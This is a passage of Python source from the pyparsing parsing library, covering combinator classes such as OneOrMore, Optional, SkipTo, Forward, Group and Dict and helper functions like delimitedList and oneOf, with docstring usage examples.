if self.expr is not None:
self.expr.leaveWhitespace()
return self
def ignore( self, other ):
if isinstance( other, Suppress ):
if other not in self.ignoreExprs:
super( ParseElementEnhance, self).ignore( other )
if self.expr is not None:
self.expr.ignore( self.ignoreExprs[-1] )
else:
super( ParseElementEnhance, self).ignore( other )
if self.expr is not None:
self.expr.ignore( self.ignoreExprs[-1] )
return self
def streamline( self ):
super(ParseElementEnhance,self).streamline()
if self.expr is not None:
self.expr.streamline()
return self
def checkRecursion( self, parseElementList ):
if self in parseElementList:
raise RecursiveGrammarException( parseElementList+[self] )
subRecCheckList = parseElementList[:] + [ self ]
if self.expr is not None:
self.expr.checkRecursion( subRecCheckList )
def validate( self, validateTrace=[] ):
tmp = validateTrace[:]+[self]
if self.expr is not None:
self.expr.validate(tmp)
self.checkRecursion( [] )
def __str__( self ):
try:
return super(ParseElementEnhance,self).__str__()
except Exception:
pass
if self.strRepr is None and self.expr is not None:
self.strRepr = "%s:(%s)" % ( self.__class__.__name__, _ustr(self.expr) )
return self.strRepr
class FollowedBy(ParseElementEnhance):
"""
Lookahead matching of the given parse expression. C{FollowedBy}
does I{not} advance the parsing position within the input string, it only
verifies that the specified parse expression matches at the current
position. C{FollowedBy} always returns a null token list.
Example::
# use FollowedBy to match a label only if it is followed by a ':'
data_word = Word(alphas)
label = data_word + FollowedBy(':')
attr_expr = Group(label + Suppress(':') + OneOrMore(data_word, stopOn=label).setParseAction(' '.join))
OneOrMore(attr_expr).parseString("shape: SQUARE color: BLACK posn: upper left").pprint()
prints::
[['shape', 'SQUARE'], ['color', 'BLACK'], ['posn', 'upper left']]
"""
def __init__( self, expr ):
super(FollowedBy,self).__init__(expr)
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
self.expr.tryParse( instring, loc )
return loc, []
class NotAny(ParseElementEnhance):
"""
Lookahead to disallow matching with the given parse expression. C{NotAny}
does I{not} advance the parsing position within the input string, it only
verifies that the specified parse expression does I{not} match at the current
position. Also, C{NotAny} does I{not} skip over leading whitespace. C{NotAny}
always returns a null token list. May be constructed using the '~' operator.
Example::
"""
def __init__( self, expr ):
super(NotAny,self).__init__(expr)
#~ self.leaveWhitespace()
self.skipWhitespace = False # do NOT use self.leaveWhitespace(), don't want to propagate to exprs
self.mayReturnEmpty = True
self.errmsg = "Found unwanted token, "+_ustr(self.expr)
def parseImpl( self, instring, loc, doActions=True ):
if self.expr.canParseNext(instring, loc):
raise ParseException(instring, loc, self.errmsg, self)
return loc, []
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "~{" + _ustr(self.expr) + "}"
return self.strRepr
class _MultipleMatch(ParseElementEnhance):
def __init__( self, expr, stopOn=None):
super(_MultipleMatch, self).__init__(expr)
self.saveAsList = True
ender = stopOn
if isinstance(ender, basestring):
ender = ParserElement._literalStringClass(ender)
self.not_ender = ~ender if ender is not None else None
def parseImpl( self, instring, loc, doActions=True ):
self_expr_parse = self.expr._parse
self_skip_ignorables = self._skipIgnorables
check_ender = self.not_ender is not None
if check_ender:
try_not_ender = self.not_ender.tryParse
# must be at least one (but first see if we are the stopOn sentinel;
# if so, fail)
if check_ender:
try_not_ender(instring, loc)
loc, tokens = self_expr_parse( instring, loc, doActions, callPreParse=False )
try:
hasIgnoreExprs = (not not self.ignoreExprs)
while 1:
if check_ender:
try_not_ender(instring, loc)
if hasIgnoreExprs:
preloc = self_skip_ignorables( instring, loc )
else:
preloc = loc
loc, tmptokens = self_expr_parse( instring, preloc, doActions )
if tmptokens or tmptokens.haskeys():
tokens += tmptokens
except (ParseException,IndexError):
pass
return loc, tokens
class OneOrMore(_MultipleMatch):
"""
Repetition of one or more of the given expression.
Parameters:
- expr - expression that must match one or more times
- stopOn - (default=C{None}) - expression for a terminating sentinel
(only required if the sentinel would ordinarily match the repetition
expression)
Example::
data_word = Word(alphas)
label = data_word + FollowedBy(':')
attr_expr = Group(label + Suppress(':') + OneOrMore(data_word).setParseAction(' '.join))
text = "shape: SQUARE posn: upper left color: BLACK"
OneOrMore(attr_expr).parseString(text).pprint() # Fail! read 'color' as data instead of next label -> [['shape', 'SQUARE color']]
# use stopOn attribute for OneOrMore to avoid reading label string as part of the data
attr_expr = Group(label + Suppress(':') + OneOrMore(data_word, stopOn=label).setParseAction(' '.join))
OneOrMore(attr_expr).parseString(text).pprint() # Better -> [['shape', 'SQUARE'], ['posn', 'upper left'], ['color', 'BLACK']]
# could also be written as
(attr_expr * (1,)).parseString(text).pprint()
"""
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + _ustr(self.expr) + "}..."
return self.strRepr
class ZeroOrMore(_MultipleMatch):
"""
Optional repetition of zero or more of the given expression.
Parameters:
- expr - expression that must match zero or more times
- stopOn - (default=C{None}) - expression for a terminating sentinel
(only required if the sentinel would ordinarily match the repetition
expression)
Example: similar to L{OneOrMore}
"""
def __init__( self, expr, stopOn=None):
super(ZeroOrMore,self).__init__(expr, stopOn=stopOn)
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
try:
return super(ZeroOrMore, self).parseImpl(instring, loc, doActions)
except (ParseException,IndexError):
return loc, []
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "[" + _ustr(self.expr) + "]..."
return self.strRepr
class _NullToken(object):
def __bool__(self):
return False
__nonzero__ = __bool__
def __str__(self):
return ""
_optionalNotMatched = _NullToken()
class Optional(ParseElementEnhance):
"""
Optional matching of the given expression.
Parameters:
- expr - expression that must match zero or more times
- default (optional) - value to be returned if the optional expression is not found.
Example::
# US postal code can be a 5-digit zip, plus optional 4-digit qualifier
zip = Combine(Word(nums, exact=5) + Optional('-' + Word(nums, exact=4)))
zip.runTests('''
# traditional ZIP code
12345
# ZIP+4 form
12101-0001
# invalid ZIP
98765-
''')
prints::
# traditional ZIP code
12345
['12345']
# ZIP+4 form
12101-0001
['12101-0001']
# invalid ZIP
98765-
^
FAIL: Expected end of text (at char 5), (line:1, col:6)
"""
def __init__( self, expr, default=_optionalNotMatched ):
super(Optional,self).__init__( expr, savelist=False )
self.saveAsList = self.expr.saveAsList
self.defaultValue = default
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
try:
loc, tokens = self.expr._parse( instring, loc, doActions, callPreParse=False )
except (ParseException,IndexError):
if self.defaultValue is not _optionalNotMatched:
if self.expr.resultsName:
tokens = ParseResults([ self.defaultValue ])
tokens[self.expr.resultsName] = self.defaultValue
else:
tokens = [ self.defaultValue ]
else:
tokens = []
return loc, tokens
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "[" + _ustr(self.expr) + "]"
return self.strRepr
class SkipTo(ParseElementEnhance):
"""
Token for skipping over all undefined text until the matched expression is found.
Parameters:
- expr - target expression marking the end of the data to be skipped
- include - (default=C{False}) if True, the target expression is also parsed
(the skipped text and target expression are returned as a 2-element list).
- ignore - (default=C{None}) used to define grammars (typically quoted strings and
comments) that might contain false matches to the target expression
- failOn - (default=C{None}) define expressions that are not allowed to be
included in the skipped test; if found before the target expression is found,
the SkipTo is not a match
Example::
report = '''
Outstanding Issues Report - 1 Jan 2000
# | Severity | Description | Days Open
-----+----------+-------------------------------------------+-----------
101 | Critical | Intermittent system crash | 6
94 | Cosmetic | Spelling error on Login ('log|n') | 14
79 | Minor | System slow when running too many reports | 47
'''
integer = Word(nums)
SEP = Suppress('|')
# use SkipTo to simply match everything up until the next SEP
# - ignore quoted strings, so that a '|' character inside a quoted string does not match
# - parse action will call token.strip() for each matched token, i.e., the description body
string_data = SkipTo(SEP, ignore=quotedString)
string_data.setParseAction(tokenMap(str.strip))
ticket_expr = (integer("issue_num") + SEP
+ string_data("sev") + SEP
+ string_data("desc") + SEP
+ integer("days_open"))
for tkt in ticket_expr.searchString(report):
print tkt.dump()
prints::
['101', 'Critical', 'Intermittent system crash', '6']
- days_open: 6
- desc: Intermittent system crash
- issue_num: 101
- sev: Critical
['94', 'Cosmetic', "Spelling error on Login ('log|n')", '14']
- days_open: 14
- desc: Spelling error on Login ('log|n')
- issue_num: 94
- sev: Cosmetic
['79', 'Minor', 'System slow when running too many reports', '47']
- days_open: 47
- desc: System slow when running too many reports
- issue_num: 79
- sev: Minor
"""
def __init__( self, other, include=False, ignore=None, failOn=None ):
super( SkipTo, self ).__init__( other )
self.ignoreExpr = ignore
self.mayReturnEmpty = True
self.mayIndexError = False
self.includeMatch = include
self.asList = False
if isinstance(failOn, basestring):
self.failOn = ParserElement._literalStringClass(failOn)
else:
self.failOn = failOn
self.errmsg = "No match found for "+_ustr(self.expr)
def parseImpl( self, instring, loc, doActions=True ):
startloc = loc
instrlen = len(instring)
expr = self.expr
expr_parse = self.expr._parse
self_failOn_canParseNext = self.failOn.canParseNext if self.failOn is not None else None
self_ignoreExpr_tryParse = self.ignoreExpr.tryParse if self.ignoreExpr is not None else None
tmploc = loc
while tmploc <= instrlen:
if self_failOn_canParseNext is not None:
# break if failOn expression matches
if self_failOn_canParseNext(instring, tmploc):
break
if self_ignoreExpr_tryParse is not None:
# advance past ignore expressions
while 1:
try:
tmploc = self_ignoreExpr_tryParse(instring, tmploc)
except ParseBaseException:
break
try:
expr_parse(instring, tmploc, doActions=False, callPreParse=False)
except (ParseException, IndexError):
# no match, advance loc in string
tmploc += 1
else:
# matched skipto expr, done
break
else:
# ran off the end of the input string without matching skipto expr, fail
raise ParseException(instring, loc, self.errmsg, self)
# build up return values
loc = tmploc
skiptext = instring[startloc:loc]
skipresult = ParseResults(skiptext)
if self.includeMatch:
loc, mat = expr_parse(instring,loc,doActions,callPreParse=False)
skipresult += mat
return loc, skipresult
class Forward(ParseElementEnhance):
"""
Forward declaration of an expression to be defined later -
used for recursive grammars, such as algebraic infix notation.
When the expression is known, it is assigned to the C{Forward} variable using the '<<' operator.
Note: take care when assigning to C{Forward} not to overlook precedence of operators.
Specifically, '|' has a lower precedence than '<<', so that::
fwdExpr << a | b | c
will actually be evaluated as::
(fwdExpr << a) | b | c
thereby leaving b and c out as parseable alternatives. It is recommended that you
explicitly group the values inserted into the C{Forward}::
fwdExpr << (a | b | c)
Converting to use the '<<=' operator instead will avoid this problem.
See L{ParseResults.pprint} for an example of a recursive parser created using
C{Forward}.
"""
def __init__( self, other=None ):
super(Forward,self).__init__( other, savelist=False )
def __lshift__( self, other ):
if isinstance( other, basestring ):
other = ParserElement._literalStringClass(other)
self.expr = other
self.strRepr = None
self.mayIndexError = self.expr.mayIndexError
self.mayReturnEmpty = self.expr.mayReturnEmpty
self.setWhitespaceChars( self.expr.whiteChars )
self.skipWhitespace = self.expr.skipWhitespace
self.saveAsList = self.expr.saveAsList
self.ignoreExprs.extend(self.expr.ignoreExprs)
return self
def __ilshift__(self, other):
return self << other
def leaveWhitespace( self ):
self.skipWhitespace = False
return self
def streamline( self ):
if not self.streamlined:
self.streamlined = True
if self.expr is not None:
self.expr.streamline()
return self
def validate( self, validateTrace=[] ):
if self not in validateTrace:
tmp = validateTrace[:]+[self]
if self.expr is not None:
self.expr.validate(tmp)
self.checkRecursion([])
def __str__( self ):
if hasattr(self,"name"):
return self.name
return self.__class__.__name__ + ": ..."
# stubbed out for now - creates awful memory and perf issues
self._revertClass = self.__class__
self.__class__ = _ForwardNoRecurse
try:
if self.expr is not None:
retString = _ustr(self.expr)
else:
retString = "None"
finally:
self.__class__ = self._revertClass
return self.__class__.__name__ + ": " + retString
def copy(self):
if self.expr is not None:
return super(Forward,self).copy()
else:
ret = Forward()
ret <<= self
return ret
class _ForwardNoRecurse(Forward):
def __str__( self ):
return "..."
class TokenConverter(ParseElementEnhance):
"""
Abstract subclass of C{ParseExpression}, for converting parsed results.
"""
def __init__( self, expr, savelist=False ):
super(TokenConverter,self).__init__( expr )#, savelist )
self.saveAsList = False
class Combine(TokenConverter):
"""
Converter to concatenate all matching tokens to a single string.
By default, the matching patterns must also be contiguous in the input string;
this can be disabled by specifying C{'adjacent=False'} in the constructor.
Example::
real = Word(nums) + '.' + Word(nums)
print(real.parseString('3.1416')) # -> ['3', '.', '1416']
# will also erroneously match the following
print(real.parseString('3. 1416')) # -> ['3', '.', '1416']
real = Combine(Word(nums) + '.' + Word(nums))
print(real.parseString('3.1416')) # -> ['3.1416']
# no match when there are internal spaces
print(real.parseString('3. 1416')) # -> Exception: Expected W:(0123...)
"""
def __init__( self, expr, joinString="", adjacent=True ):
super(Combine,self).__init__( expr )
# suppress whitespace-stripping in contained parse expressions, but re-enable it on the Combine itself
if adjacent:
self.leaveWhitespace()
self.adjacent = adjacent
self.skipWhitespace = True
self.joinString = joinString
self.callPreparse = True
def ignore( self, other ):
if self.adjacent:
ParserElement.ignore(self, other)
else:
super( Combine, self).ignore( other )
return self
def postParse( self, instring, loc, tokenlist ):
retToks = tokenlist.copy()
del retToks[:]
retToks += ParseResults([ "".join(tokenlist._asStringList(self.joinString)) ], modal=self.modalResults)
if self.resultsName and retToks.haskeys():
return [ retToks ]
else:
return retToks
class Group(TokenConverter):
"""
Converter to return the matched tokens as a list - useful for returning tokens of C{L{ZeroOrMore}} and C{L{OneOrMore}} expressions.
Example::
ident = Word(alphas)
num = Word(nums)
term = ident | num
func = ident + Optional(delimitedList(term))
print(func.parseString("fn a,b,100")) # -> ['fn', 'a', 'b', '100']
func = ident + Group(Optional(delimitedList(term)))
print(func.parseString("fn a,b,100")) # -> ['fn', ['a', 'b', '100']]
"""
def __init__( self, expr ):
super(Group,self).__init__( expr )
self.saveAsList = True
def postParse( self, instring, loc, tokenlist ):
return [ tokenlist ]
class Dict(TokenConverter):
"""
Converter to return a repetitive expression as a list, but also as a dictionary.
Each element can also be referenced using the first token in the expression as its key.
Useful for tabular report scraping when the first column can be used as a item key.
Example::
data_word = Word(alphas)
label = data_word + FollowedBy(':')
attr_expr = Group(label + Suppress(':') + OneOrMore(data_word).setParseAction(' '.join))
text = "shape: SQUARE posn: upper left color: light blue texture: burlap"
attr_expr = (label + Suppress(':') + OneOrMore(data_word, stopOn=label).setParseAction(' '.join))
# print attributes as plain groups
print(OneOrMore(attr_expr).parseString(text).dump())
# instead of OneOrMore(expr), parse using Dict(OneOrMore(Group(expr))) - Dict will auto-assign names
result = Dict(OneOrMore(Group(attr_expr))).parseString(text)
print(result.dump())
# access named fields as dict entries, or output as dict
print(result['shape'])
print(result.asDict())
prints::
['shape', 'SQUARE', 'posn', 'upper left', 'color', 'light blue', 'texture', 'burlap']
[['shape', 'SQUARE'], ['posn', 'upper left'], ['color', 'light blue'], ['texture', 'burlap']]
- color: light blue
- posn: upper left
- shape: SQUARE
- texture: burlap
SQUARE
{'color': 'light blue', 'posn': 'upper left', 'texture': 'burlap', 'shape': 'SQUARE'}
See more examples at L{ParseResults} of accessing fields by results name.
"""
def __init__( self, expr ):
super(Dict,self).__init__( expr )
self.saveAsList = True
def postParse( self, instring, loc, tokenlist ):
for i,tok in enumerate(tokenlist):
if len(tok) == 0:
continue
ikey = tok[0]
if isinstance(ikey,int):
ikey = _ustr(tok[0]).strip()
if len(tok)==1:
tokenlist[ikey] = _ParseResultsWithOffset("",i)
elif len(tok)==2 and not isinstance(tok[1],ParseResults):
tokenlist[ikey] = _ParseResultsWithOffset(tok[1],i)
else:
dictvalue = tok.copy() #ParseResults(i)
del dictvalue[0]
if len(dictvalue)!= 1 or (isinstance(dictvalue,ParseResults) and dictvalue.haskeys()):
tokenlist[ikey] = _ParseResultsWithOffset(dictvalue,i)
else:
tokenlist[ikey] = _ParseResultsWithOffset(dictvalue[0],i)
if self.resultsName:
return [ tokenlist ]
else:
return tokenlist
class Suppress(TokenConverter):
"""
Converter for ignoring the results of a parsed expression.
Example::
source = "a, b, c,d"
wd = Word(alphas)
wd_list1 = wd + ZeroOrMore(',' + wd)
print(wd_list1.parseString(source))
# often, delimiters that are useful during parsing are just in the
# way afterward - use Suppress to keep them out of the parsed output
wd_list2 = wd + ZeroOrMore(Suppress(',') + wd)
print(wd_list2.parseString(source))
prints::
['a', ',', 'b', ',', 'c', ',', 'd']
['a', 'b', 'c', 'd']
(See also L{delimitedList}.)
"""
def postParse( self, instring, loc, tokenlist ):
return []
def suppress( self ):
return self
class OnlyOnce(object):
"""
Wrapper for parse actions, to ensure they are only called once.
"""
def __init__(self, methodCall):
self.callable = _trim_arity(methodCall)
self.called = False
def __call__(self,s,l,t):
if not self.called:
results = self.callable(s,l,t)
self.called = True
return results
raise ParseException(s,l,"")
def reset(self):
self.called = False
def traceParseAction(f):
"""
Decorator for debugging parse actions.
When the parse action is called, this decorator will print C{">> entering I{method-name}(line:I{current_source_line}, I{parse_location}, I{matched_tokens})".}
When the parse action completes, the decorator will print C{"<<"} followed by the returned value, or any exception that the parse action raised.
Example::
wd = Word(alphas)
@traceParseAction
def remove_duplicate_chars(tokens):
return ''.join(sorted(set(''.join(tokens)))
wds = OneOrMore(wd).setParseAction(remove_duplicate_chars)
print(wds.parseString("slkdjs sld sldd sdlf sdljf"))
prints::
>>entering remove_duplicate_chars(line: 'slkdjs sld sldd sdlf sdljf', 0, (['slkdjs', 'sld', 'sldd', 'sdlf', 'sdljf'], {}))
<<leaving remove_duplicate_chars (ret: 'dfjkls')
['dfjkls']
"""
f = _trim_arity(f)
def z(*paArgs):
thisFunc = f.__name__
s,l,t = paArgs[-3:]
if len(paArgs)>3:
thisFunc = paArgs[0].__class__.__name__ + '.' + thisFunc
sys.stderr.write( ">>entering %s(line: '%s', %d, %r)\n" % (thisFunc,line(l,s),l,t) )
try:
ret = f(*paArgs)
except Exception as exc:
sys.stderr.write( "<<leaving %s (exception: %s)\n" % (thisFunc,exc) )
raise
sys.stderr.write( "<<leaving %s (ret: %r)\n" % (thisFunc,ret) )
return ret
try:
z.__name__ = f.__name__
except AttributeError:
pass
return z
#
# global helpers
#
def delimitedList( expr, delim=",", combine=False ):
"""
Helper to define a delimited list of expressions - the delimiter defaults to ','.
By default, the list elements and delimiters can have intervening whitespace, and
comments, but this can be overridden by passing C{combine=True} in the constructor.
If C{combine} is set to C{True}, the matching tokens are returned as a single token
string, with the delimiters included; otherwise, the matching tokens are returned
as a list of tokens, with the delimiters suppressed.
Example::
delimitedList(Word(alphas)).parseString("aa,bb,cc") # -> ['aa', 'bb', 'cc']
delimitedList(Word(hexnums), delim=':', combine=True).parseString("AA:BB:CC:DD:EE") # -> ['AA:BB:CC:DD:EE']
"""
dlName = _ustr(expr)+" ["+_ustr(delim)+" "+_ustr(expr)+"]..."
if combine:
return Combine( expr + ZeroOrMore( delim + expr ) ).setName(dlName)
else:
return ( expr + ZeroOrMore( Suppress( delim ) + expr ) ).setName(dlName)
def countedArray( expr, intExpr=None ):
"""
Helper to define a counted list of expressions.
This helper defines a pattern of the form::
integer expr expr expr...
where the leading integer tells how many expr expressions follow.
The matched tokens returns the array of expr tokens as a list - the leading count token is suppressed.
If C{intExpr} is specified, it should be a pyparsing expression that produces an integer value.
Example::
countedArray(Word(alphas)).parseString('2 ab cd ef') # -> ['ab', 'cd']
# in this parser, the leading integer value is given in binary,
# '10' indicating that 2 values are in the array
binaryConstant = Word('01').setParseAction(lambda t: int(t[0], 2))
countedArray(Word(alphas), intExpr=binaryConstant).parseString('10 ab cd ef') # -> ['ab', 'cd']
"""
arrayExpr = Forward()
def countFieldParseAction(s,l,t):
n = t[0]
arrayExpr << (n and Group(And([expr]*n)) or Group(empty))
return []
if intExpr is None:
intExpr = Word(nums).setParseAction(lambda t:int(t[0]))
else:
intExpr = intExpr.copy()
intExpr.setName("arrayLen")
intExpr.addParseAction(countFieldParseAction, callDuringTry=True)
return ( intExpr + arrayExpr ).setName('(len) ' + _ustr(expr) + '...')
def _flatten(L):
ret = []
for i in L:
if isinstance(i,list):
ret.extend(_flatten(i))
else:
ret.append(i)
return ret
def matchPreviousLiteral(expr):
"""
Helper to define an expression that is indirectly defined from
the tokens matched in a previous expression, that is, it looks
for a 'repeat' of a previous expression. For example::
first = Word(nums)
second = matchPreviousLiteral(first)
matchExpr = first + ":" + second
will match C{"1:1"}, but not C{"1:2"}. Because this matches a
previous literal, will also match the leading C{"1:1"} in C{"1:10"}.
If this is not desired, use C{matchPreviousExpr}.
Do I{not} use with packrat parsing enabled.
"""
rep = Forward()
def copyTokenToRepeater(s,l,t):
if t:
if len(t) == 1:
rep << t[0]
else:
# flatten t tokens
tflat = _flatten(t.asList())
rep << And(Literal(tt) for tt in tflat)
else:
rep << Empty()
expr.addParseAction(copyTokenToRepeater, callDuringTry=True)
rep.setName('(prev) ' + _ustr(expr))
return rep
def matchPreviousExpr(expr):
"""
Helper to define an expression that is indirectly defined from
the tokens matched in a previous expression, that is, it looks
for a 'repeat' of a previous expression. For example::
first = Word(nums)
second = matchPreviousExpr(first)
matchExpr = first + ":" + second
will match C{"1:1"}, but not C{"1:2"}. Because this matches by
expressions, will I{not} match the leading C{"1:1"} in C{"1:10"};
the expressions are evaluated first, and then compared, so
C{"1"} is compared with C{"10"}.
Do I{not} use with packrat parsing enabled.
"""
rep = Forward()
e2 = expr.copy()
rep <<= e2
def copyTokenToRepeater(s,l,t):
matchTokens = _flatten(t.asList())
def mustMatchTheseTokens(s,l,t):
theseTokens = _flatten(t.asList())
if theseTokens != matchTokens:
raise ParseException("",0,"")
rep.setParseAction( mustMatchTheseTokens, callDuringTry=True )
expr.addParseAction(copyTokenToRepeater, callDuringTry=True)
rep.setName('(prev) ' + _ustr(expr))
return rep
def _escapeRegexRangeChars(s):
#~ escape these chars: ^-]
for c in r"\^-]":
s = s.replace(c,_bslash+c)
s = s.replace("\n",r"\n")
s = s.replace("\t",r"\t")
return _ustr(s)
def oneOf( strs, caseless=False, useRegex=True ):
"""
Helper to quickly define a set of alternative Literals, and makes sure to do
longest-first testing when there is a conflict, regardless of the input order,
but returns a C{L{MatchFirst}} for best performance.
Parameters:
- strs - a string of space-delimited literals, or a collection of string literals
- caseless - (default=C{False}) - treat all literals as caseless
- useRegex - (default=C{True}) - as an optimization, will generate a Regex
object; otherwise, will generate a C{MatchFirst} object (if C{caseless=True}, or
if creating a C{Regex} raises an exception)
Example::
comp_oper = oneOf("< = > <= >= !=")
var = Word(alphas)
number = Word(nums)
term = var | number
comparison_expr = term + comp_oper + term
print(comparison_expr.searchString("B = 12 AA=23 B<=AA AA>12"))
prints::
[['B', '=', '12'], ['AA', '=', '23'], ['B', '<=', 'AA'], ['AA', '>', '12']]
"""
if caseless:
isequal = ( lambda a,b: a.upper() == b.upper() )
masks = ( lambda a,b: b.upper().startswith(a.upper()) )
parseElementClass = CaselessLiteral
else:
isequal = ( lambda a,b: a == b )
masks = ( lambda a,b: b.startswith(a) )
parseElementClass = Literal
symbols = []
if isinstance(strs,basestring):
symbols = strs.split()
elif isinstance(strs, collections.Iterable):
symbols = list(strs)
else:
warnings.warn("Invalid argument to oneOf, expected string or iterable",
SyntaxWarning, stacklevel=2)
if not symbols:
return NoMatch()
i = 0
while i < len(symbols)-1:
cur = symbols[i]
for j,other in enumerate(symbols[i+1:]):
if ( isequal(other, cur) ):
del symbols[i+j+1]
break
elif ( masks(cur, other) ):
del symbols[i+j+1]
symbols.insert(i,other)
cur = other
break
else:
i += 1
if not caseless and useRegex:
#~ print (strs,"->", "|".join( [ _escapeRegexChars(sym) for sym in symbols] ))
try:
if len(symbols)==len("".join(symbols)):
return Regex( "[%s]" % "".join(_escapeRegexRangeChars(sym) for sym in symbols) ).setName(' | '.join(symbols))
else:
return Regex( "|".join(re.escape(sym) for sym in symbols) ).setName(' | '.join(symbols))
except Exception:
warnings.warn("Exception creating Regex for oneOf, building MatchFirst",
SyntaxWarning, stacklevel=2)
# last resort, just use MatchFirst
return MatchFirst(parseElementClass(sym) for sym in symbols).setName(' | '.join(symbols))
def dictOf( key, value ):
"""
Helper to easily and clearly define a dictionary by specifying the respective patterns
for the key and value. Takes care of defining the C{L{Dict}}, C{L{ZeroOrMore}}, and C{L{Group}} tokens
in the proper order. The key pattern can include delimiting markers or punctuation,
as long as they are suppressed, thereby leaving the significant key text. The value
pattern can include named results, so that the C{Dict} results can include named token
fields.
Example::
text = "shape: SQUARE posn: upper left color: light blue texture: burlap"
attr_expr = (label + Suppress(':') + OneOrMore(data_word, stopOn=label).setParseAction(' '.join))
print(OneOrMore(attr_expr).parseString(text).dump())
attr_label = label
attr_value = Suppress(':') + OneOrMore(data_word, stopOn=label).setParseAction(' '.join)
# similar to Dict, but simpler call format
result = dictOf(attr_label, attr_value).parseString(text)
print(result.dump())
print(result['shape'])
print(result.shape) # object attribute access works too
print(result.asDict())
prints::
[['shape', 'SQUARE'], ['posn', 'upper left'], ['color', 'light blue'], ['texture', 'burlap']]
- color: light blue
- posn: upper left
- shape: SQUARE
- texture: burlap
SQUARE
SQUARE
{'color': 'light blue', 'shape': 'SQUARE', 'posn': 'upper left', 'texture': 'burlap'}
"""
return Dict( ZeroOrMore( Group ( key + value ) ) )
def originalTextFor(expr, asString=True):
"""
Helper to return the original, untokenized text for a given expression. Useful to
restore the parsed fields of an HTML start tag into the raw tag text itself, or to
revert separate tokens with intervening whitespace back to the original matching
input text. By default, returns astring containing the original parsed text.
If the optional C{asString} argument is passed as C{False}, then the return value is a
C{L{ParseResults}} containing any results names that were originally matched, and a
single token containing the original matched text from the input string. So if
the expression passed to C{L{originalTextFor}} contains expressions with defined
results names, you must set C{asString} to C{False} if you want to preserve those
results name values.
Example::
src = "this is test <b> bold <i>text</i> </b> normal text "
for tag in ("b","i"):
opener,closer = makeHTMLTags(tag)
patt = originalTextFor(opener + SkipTo(closer) + closer)
print(patt.searchString(src)[0])
prints::
['<b> bold <i>text</i> </b>']
['<i>text</i>']
"""
locMarker = Empty().setParseAction(lambda s,loc,t: loc)
endlocMarker = locMarker.copy()
endlocMarker.callPreparse = False
matchExpr = locMarker("_original_start") + expr + endlocMarker("_original_end")
if asString:
extractText = lambda s,l,t: s[t._original_start:t._original_end]
else:
def extractText(s,l,t):
t[:] = [s[t.pop('_original_start'):t.pop('_original_end')]]
matchExpr.setParseAction(extractText)
matchExpr.ignoreExprs = expr.ignoreExprs
return matchExpr
def ungroup(expr):
"""
Helper to undo pyparsing's default grouping of And expressions, even
if all but one are non-empty.
"""
return TokenConverter(expr).setParseAction(lambda t:t[0])
def locatedExpr(expr):
"""
Helper to decorate a returned token with its starting and ending locations in the input string.
This helper adds the following results names:
- locn_start = location where matched expression begins
- locn_end = location where matched expression ends
- value = the actual parsed results
Be careful if the input text contains C{<TAB>} characters, you may want to call
C{L{ParserElement.parseWithTabs}}
Example::
wd = Word(alphas)
for match in locatedExpr(wd).searchString("ljsdf123lksdjjf123lkkjj1222"):
print(match)
prints::
[[0, 'ljsdf', 5]]
[[8, 'lksdjjf', 15]]
[[18, 'lkkjj', 23]]
"""
locator = Empty().setParseAction(lambda s,l,t: l)
return Group(locator("locn_start") + expr("value") + locator.copy().leaveWhitespace()("locn_end"))
# convenience constants for positional expressions
empty = Empty().setName("empty")
lineStart = LineStart().setName("lineStart")
lineEnd = LineEnd().setName("lineEnd")
stringStart = StringStart().setName("stringStart")
stringEnd = StringEnd().setName("stringEnd")
_escapedPunc = Word( _bslash, r"\[]-*.$+^?()~ ", exact=2 ).setParseAction(lambda s,l,t:t[0][1])
_escapedHexChar = Regex(r"\\0?[xX][0-9a-fA-F]+").setParseAction(lambda s,l,t:unichr(int(t[0].lstrip(r'\0x'),16)))
_escapedOctChar = Regex(r"\\0[0-7]+").setParseAction(lambda s,l,t:unichr(int(t[0][1:],8)))
_singleChar = _escapedPunc | _escapedHexChar | _escapedOctChar | Word(printables, excludeChars=r'\]', exact=1) | Regex(r"\w", re.UNICODE)
_charRange = Group(_singleChar + Suppress("-") + _singleChar)
_reBracketExpr = Literal("[") + Optional("^").setResultsName("negate") + Group( OneOrMore( _charRange | _singleChar ) ).setResultsName("body") + "]"
def srange(s):
r"""
Helper to easily define string ranges for use in Word construction. Borrows
syntax from regexp '[]' string range definitions::
srange("[0-9]") -> "0123456789"
srange("[a-z]") -> "abcdefghijklmnopqrstuvwxyz"
srange("[a-z$_]") -> "abcdefghijklmnopqrstuvwxyz$_"
The input string must be enclosed in []'s, and the returned string is the expanded
character set joined into a single string.
The values enclosed in the []'s may be:
- a single character
- an escaped character with a leading backslash (such as C{\-} or C{\]})
- an escaped hex character with a leading C{'\x'} (C{\x21}, which is a C{'!'} character)
(C{\0x##} is also supported for backwards compatibility)
- an escaped octal character with a leading C{'\0'} (C{\041}, which is a C{'!'} character)
- a range of any of the above, separated by a dash (C{'a-z'}, etc.)
- any combination of the above (C{'aeiouy'}, C{'a-zA-Z0-9_$'}, etc.)
"""
_expanded = lambda p: p if not isinstance(p,ParseResults) else ''.join(unichr(c) for c in range(ord(p[0]),ord(p[1])+1))
try:
return "".join(_expanded(part) for part in _reBracketExpr.parseString(s).body)
except Exception:
return ""
def matchOnlyAtCol(n):
"""
Helper method for defining parse actions that require matching at a specific
column in the input text.
"""
def verifyCol(strg,locn,toks):
if col(locn,strg) != n:
raise ParseException(strg,locn,"matched token not at column %d" % n)
return verifyCol
def replaceWith(replStr):
"""
Helper method for common parse actions that simply return a literal value. Especially
useful when used with C{L{transformString<ParserElement.transformString>}()}.
Example::
num = Word(nums).setParseAction(lambda toks: int(toks[0]))
na = oneOf("N/A NA").setParseAction(replaceWith(math.nan))
term = na | num
OneOrMore(term).parseString("324 234 N/A 234") # -> [324, 234, nan, 234]
"""
return lambda s,l,t: [replStr]
def removeQuotes(s,l,t):
"""
Helper parse action for removing quotation marks from parsed quoted strings.
Example::
# by default, quotation marks are included in parsed results
quotedString.parseString("'Now is the Winter of our Discontent'") # -> ["'Now is the Winter of our Discontent'"]
# use removeQuotes to strip quotation marks from parsed results
